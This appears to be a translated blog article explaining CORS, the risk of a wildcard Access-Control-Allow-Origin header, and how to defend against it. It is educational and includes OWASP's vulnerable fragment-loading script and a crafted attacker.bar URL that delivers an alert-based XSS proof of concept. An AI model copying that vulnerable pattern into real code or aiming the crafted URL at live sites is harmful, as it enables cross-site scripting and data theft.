📜 ⬆️ ⬇️

Insecure cross-origin resource sharing

image


Cross-origin resource sharing is a modern browser technology that allows a web page to access resources from another domain. In this article I will talk about this technology, designed to ensure security, or vice versa, to put the web application in jeopardy.


What is CORS?


CORS is a security mechanism that allows a web page from one domain to access a resource with another domain (cross-domain request). Without features such as CORS, websites are limited to accessing resources of the same origin through so-called policies of a single origin.


The first step in understanding CORS is knowing how some of the security features of web browsers work. By default, web browsers do not allow AJAX requests for sites other than the site you are visiting. This is called a common origin policy, and it is an important part of the web security model. Resource sharing between different sources (cross-origin resource sharing) is an HTML 5 mechanism that complements a single-origin policy to facilitate the sharing of domain resources between different web applications.


The CORS specification defines a set of headers that allow the server and the browser to determine which requests for cross-domain resources (images, style sheets, scripts, data, etc.) are allowed and which are not. CORS is a technique for weakening the rules of one source, allowing JavaScript on a web page to handle REST API requests from another source.


At its core, CORS is a protective shell for the browser. Sharing resources between different sources is very important in today's world of complex web applications, and all browsers support it. In particular, CORS is commonly used for cross-domain AJAX requests.


Request exchange


The interaction of resources begins with sending a GET, POST or HEAD request to a particular resource on the server. The content type of the POST request is limited to application / x-www-form-urlencoded, multipart / form-data or plaintext. The request includes the Origin header, which indicates the origin of the client code.


The web application checks the origin of the request and, based on the Origin, either accepts the request or rejects it. If the request is accepted, the requested server will respond with an Access-Control-Allow-Origin header. This heading will indicate to the client with which origin access will be allowed. Taking into account that Access-Control-Allow-Origin corresponds to the Origin request, the browser will allow the request.


When requesting site.ru/resource from site.com/some there will be the following headings:


GET /resource Host:site.ru Origin: http://site.com 

If the request is accepted, the requested server adds an Access-Control-Allow-Origin header to the response containing the request site domain site.com.


Access-Control-Allow-Origin indicates which domains can access site resources. For example, if a company has the site.ru and site.com domains, then its developers can use this header to provide site.com with access to site.ru resources.


Access-Control-Allow-Methods determines which HTTP requests (GET, PUT, DELETE, etc.) can be used to access resources. This header allows you to increase security by specifying which methods are valid when site.com accesses site.ru resources.


Access-Control-Max-Age indicates the lifetime of the pre-request (also called "pre-flight") of the availability of a method, after which a new request must be executed for a particular method.


Refusal of the request policy from the white list


Using the correct headers, methods and trusted domains does not seem to allow an attacker to break into this exchange chain. In fact, it is not. And the insidious * brings here.


The most common security issue in implementing CORS is the refusal to check the white list request. Often, developers set the value for Access-Control-Allow-Origin to '*'. This allows any domain on the Internet to access the resources of this site.


Request:


 GET /resource HTTP/1.1 Host: site.ru Referer: http://evil.com/request.html Origin: http://evil.com 

Answer:


 HTTP/1.1 200 OK Access-Control-Allow-Origin: * 

The reasons for the problem lies in the fact that many companies place APIs within a domain, without restricting access to it by the whitelist policy. This creates vulnerability.


Attack scenario


Most web applications use cookies to track session information. When generating cookies limited to a specific domain. At each HTTP request to this domain, the browser substitute the cookie value created for this domain. This refers to every HTTP request — for receiving images, pages, or AJAX calls.


What this means in practice: when logging in goodsite.ru, cookies are generated and stored for this domain. The web app goodsite.ru is based on SPA technology and contains a REST API on goodsite.ru/api for interacting with AJAX. Suppose you are browsing badsite.ru, being authorized on goodsite.ru. Without restriction of Access-Control-Allow-Origin on the white list (with indication of the site), badsite.ru can fulfill any authorized authenticated request to goodsite.ru, even without having direct access to the session cookie!


This is due to the fact that the browser automatically binds cookies to goodsite.ru for any HTTP requests in this domain, including AJAX requests from badsite.ru in goodsite.ru. Thus, an attacker can even interact with your internal resource that is not available on the Internet and located on the corporate network.


Illustrative examples


As an example, give the code OWASP Testing Guide. Vulnerable web application with incorrectly configured Access-Control-Allow-Origin policy.


 <script> var req = new XMLHttpRequest(); req.onreadystatechange = function() { if(req.readyState==4 && req.status==200) { document.getElementById("div1").innerHTML=req.responseText; } } var resource = location.hash.substring(1); req.open("GET",resource,true); req.send(); </script> <body> <div id="div1"></div> </body> 

For example, such a request will show the contents of the profile.php file:


 http://example.foo/main.php#profile.php 

Request:


 GET http://example.foo/profile.php HTTP/1.1 Host: example.foo Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://example.foo/main.php 

Answer:


 HTTP/1.1 200 OK Connection: Keep-Alive Content-Type: text/html [Response Body] 

Since URL check is missing, the attacker can add a script that will run in the context of the example.foo domain with the following URL:


 http://example.foo/main.php#http://attacker.bar/file.php 

Request:


 GET http://attacker.bar/file.php HTTP/1.1 Host: attacker.bar Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://example.foo/main.php Origin: http://example.foo 

Answer:


 HTTP/1.1 200 OK Access-Control-Allow-Origin: * Content-Type: text/html  attacker.bar <img src="#" onerror="alert('Domain: '+document.domain)"> 

Result:


image


As one more example, I recommend you to familiarize yourself with Stealing contact form using Marketo Forms XSS with postMessage frame-jumping and jQuery-JSONP - public disclosure of vulnerability, including a small video demonstration.


Protective measures


Use white lists of domains. If this is not possible, place the API outside the domain - the CORS policies for sub.site.ru, site.ru and even different ports will differ.


Specify specific handling methods.


Do not use wildcard - CORS accounts for either * or domain.


Be sure to specify the protocol. "Access-Control-Allow-Origin: site.ru" will not be taken into account because the protocol is missing.


When using Access-Control-Allow-Credentials: true, Access-Control-Allow-Origin is always used: domain — when using *, the browser will not receive a response.


')

Source: https://habr.com/ru/post/337146/


All Articles